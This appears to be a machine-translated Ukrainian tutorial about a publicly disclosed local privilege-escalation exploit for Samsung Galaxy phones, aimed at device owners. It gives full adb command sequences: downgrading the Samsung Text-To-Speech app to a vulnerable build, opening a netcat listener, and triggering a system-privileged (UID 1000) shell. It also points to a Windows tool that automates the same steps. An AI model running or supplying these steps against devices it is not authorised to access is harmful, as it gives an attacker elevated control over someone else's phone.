Як отримати доступ до системної оболонки на будь-якому пристрої Samsung Galaxy

Швидкі посилання

  • передумови
  • Як використовувати будь-який пристрій Samsung Galaxy, щоб отримати доступ до системної оболонки
  • Перевірка
  • Висновок

У перший понеділок кожного місяця Google публікує Бюлетень безпеки Android. Він розкриває всі пом’якшені вразливості безпеки в різних компонентах ОС Android а також ядро ​​Linux і їх виправлення, надіслані самими Google або іншими третіми сторонами дата. Великі OEM-виробники, такі як Samsung, мають власний погляд на Android, тому вони також вирішують використовувати власні виправлення та оновлення в оновленнях безпеки.

Зважаючи на це, досить важко подбати про кожну лазівку. Існує безліч векторів атак, на основі яких іноді можна створити власний ланцюжок експлойтів раніше відому вразливість лише тому, що у вас є новий метод обійти одну з гарантії. Це саме те, що XDA Senior Member K0mraid3 зробив із уразливістю чотирирічної давнини, яка дозволила йому отримати доступ до системної оболонки на кожному пристрої Samsung Galaxy — включно з останніми флагманськими — наявними. Хоча це не те саме, що

маючи привілеї root, це достатньо висока локальна ескалація привілеїв.

Основною точкою входу вразливості є Samsung Text-To-Speech (назва пакета: com.samsung. SMT), попередньо завантажений системний додаток, який можна знайти на кожному пристрої Samsung Galaxy. Ідея полягає в тому, щоб знизити встановлену версію програми до певної вразливої ​​збірки (v3.0.02.2 якщо бути точним), а потім змусити його завантажити бібліотеку, яка, у свою чергу, відкриває оболонку з системними привілеями (UID 1000).

Якщо ви хочете дізнатися більше про експлойт, обов’язково перевірте Пояснення провідного технічного редактора XDA Адама Конвея. Він поспілкувався з K0mraid3, щоб зрозуміти весь обсяг цього експлойту та його роботу.

  1. Повторюємо, що це не кореневий (UID 0) доступ, але доступ до системної оболонки достатньо потужний, щоб виконати купу бінарних файлів, обмежених іншими способами.
  2. Для підтвердження концепції K0mraid3 потрібен допоміжний APK, і вам потрібно запустити його принаймні один раз перед запуском ланцюжка експлойтів.
  3. Один користувальницький інтерфейс, тобто вбудовані процедури енергозбереження спеціальної оболонки Samsung для Android, можуть бути неприємними, оскільки вони можуть перешкоджати зв’язку між програмою TTS, допоміжним APK і оболонкою. Таким чином, ми пропонуємо заздалегідь встановити профіль енергозбереження на «Необмежений» для програм.

передумови

  1. Завантажте попередньо скомпільовану збірку експлойта з Тема форуму XDA або офіційний репозиторій GitHub за посиланням нижче: Експлойт системної оболонки K0mraid3s
  2. Розпакуйте кудись архів, і ви повинні знайти вразливу версію APK Samsung Text-To-Speech (samsungTTSVULN2.apk), допоміжну програму (Komraid3s_POC_Vx.x.apk) і виконуваний файл Windows під назвою systemhell-vx.x.exe.
  3. Переконайтеся, що остання версія ADB встановлено на вашому ПК/Mac/Chromebook. Крім того, пам’ятайте встановити/оновити драйвери Samsung USB якщо ви користувач Windows.

Як використовувати будь-який пристрій Samsung Galaxy, щоб отримати доступ до системної оболонки

Мануальний спосіб

  1. Підключіть цільовий пристрій Galaxy до комп’ютера з увімкненим USB-налагодженням, переконайтеся, що ADB його виявляє, а потім інсталюйте допоміжну програму.
    adb install Komraid3s_POC_Vx.x.apk
    • Як згадувалося раніше, відкрийте допоміжну програму принаймні один раз, перш ніж переходити до наступного кроку.
  2. Тепер перемістіть уразливу версію програми Samsung TTS в /data/local/tmp і змініть її дозволи:
    adb push samsungTTSVULN2.apk /data/local/tmp
    adb shell chmod 777 /data/local/tmp/samsungTTSVULN2.apk
  3. Перезавантажте пристрій. Як тільки ви опинитесь на головному екрані, виконайте таку команду, щоб замінити вже встановлену версію програми Samsung TTS на вразливу:
    adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk
    • Якщо все йде правильно, ви повинні побачити повідомлення «Успішно» на консолі.
  4. Відкрийте оболонку на цільовому пристрої, відкривши інше вікно терміналу та виконавши оболонка adb, потім виконайте двійковий файл Netcat і прослухайте вхідне з’єднання на порту 9997 за допомогою такої команди:
    adb shell nc -lp 9997
  5. На цьому етапі нам потрібно виконати певну дію програми Samsung TTS, яка відкриє для нас системну оболонку.
    • Використовуйте сторонню програму, наприклад це щоб створити ярлик «com.samsung. SMT/.gui. DownloadList».
    • Ви також можете використовувати власний менеджер активності Android (am), щоб зробити те саме. У такому випадку ви можете виконати його через ADB (adb shell am start -n com.samsung. SMT/.gui. DownloadList) або скористайтеся програмою емулятора терміналу на своєму телефоні/планшеті, наприклад Termux, і виконайте таку команду:
      am start -n com.samsung.SMT/.gui.DownloadList
  6. Поверніться до першої оболонки, і ви повинні побачити нову підказку з системними правами (UID 1000).

Автоматизований метод

Щоб полегшити роботу, K0mraid3 також надає просту у використанні програму з графічним інтерфейсом для автоматизації більшості завдань. Майте на увазі, що програма з графічним інтерфейсом призначена лише для Windows, тому, якщо ви користувач Linux/macOS, краще дотримуватися ручного методу.

  1. Підключіть цільовий пристрій Galaxy до комп’ютера з увімкненим налагодженням USB, переконайтеся, що ADB його виявляє, а потім інсталюйте допоміжну програму.
    adb install Komraid3s_POC_Vx.x.apk
    • Як згадувалося раніше, відкрийте допоміжну програму принаймні один раз, перш ніж переходити до наступного кроку.
  2. Коли ADB може виявити цільовий пристрій, запустіть systemshell-vx.x.exe на головному ПК.
  3. Натисніть кнопку «ПОЧАТИ ОБОЛОНКУ». Програма автоматично понизить версію програми Samsung TTS і спробує відкрити системну оболонку.
    • На вашому телефоні/планшеті ви можете побачити програму TTS із проханням завантажити деякі голосові дані. Немає необхідності взаємодіяти з цими параметрами, оскільки вони не мають нічого спільного з експлойтом.
    • Якщо програма зависає або не може відкрити вікно оболонки через деякий час, закрийте його, перезавантажте цільовий пристрій Galaxy і почніть спочатку.
    • Програма Galaxy Store може автоматично оновлювати та/або скидати профіль енергозбереження програми TTS у фоновому режимі, тому обов’язково перевірте це, перш ніж починати процес з нуля.

Перевірка

Отримавши доступ до оболонки, ви можете перевірити рівень привілеїв за допомогою однієї з наведених нижче команд:

  • whoami
    • Результат має бути «система»
  • id -u
    • Вихід має бути «1000»

Висновок

Типовий спосіб отримати root-доступ на пристрої Android – це спочатку розблокувати завантажувач, який дозволяє завантажувати двійкові файли сторонніх розробників. Оскільки модель безпеки Android в основному розпадається з root, цей крок навмисно вимикає одну з ключових функцій безпеки на пристрої, яка тому користувач має явно дозволити це зробити, зазвичай увімкнувши перемикач у параметрах розробника, а потім видавши команду розблокування завантажувач. Після того як завантажувач розблоковано, користувач може ввести двійковий файл суперкористувача в систему, а також програму керування суперкористувачем (наприклад, Magisk), щоб контролювати, які процеси мають доступ до root.

Однак із згаданим вище експлойтом системної оболонки користувачеві не потрібно розблоковувати завантажувач, щоб отримати підвищені привілеї. Хоча це далеко не root, «системний» користувач має достатньо можливостей, щоб отримати доступ до кількох розділів низького рівня (наприклад, як /efs), запустіть різні сервісні та інструменти налагодження, а також змініть багато захищених значень пропів — і все це навіть без відключення Нокс. Ці приклади торкаються лише кількох способів; зловмисник може поєднати це з іншими вразливими місцями та придумати більш мерзенні дії.

Нам доведеться почекати і подивитися, як Google і Samsung вирішать цей сценарій. У будь-якому випадку вам, ймовірно, слід вимкнути або видалити програму Samsung Text-To-Speech на час.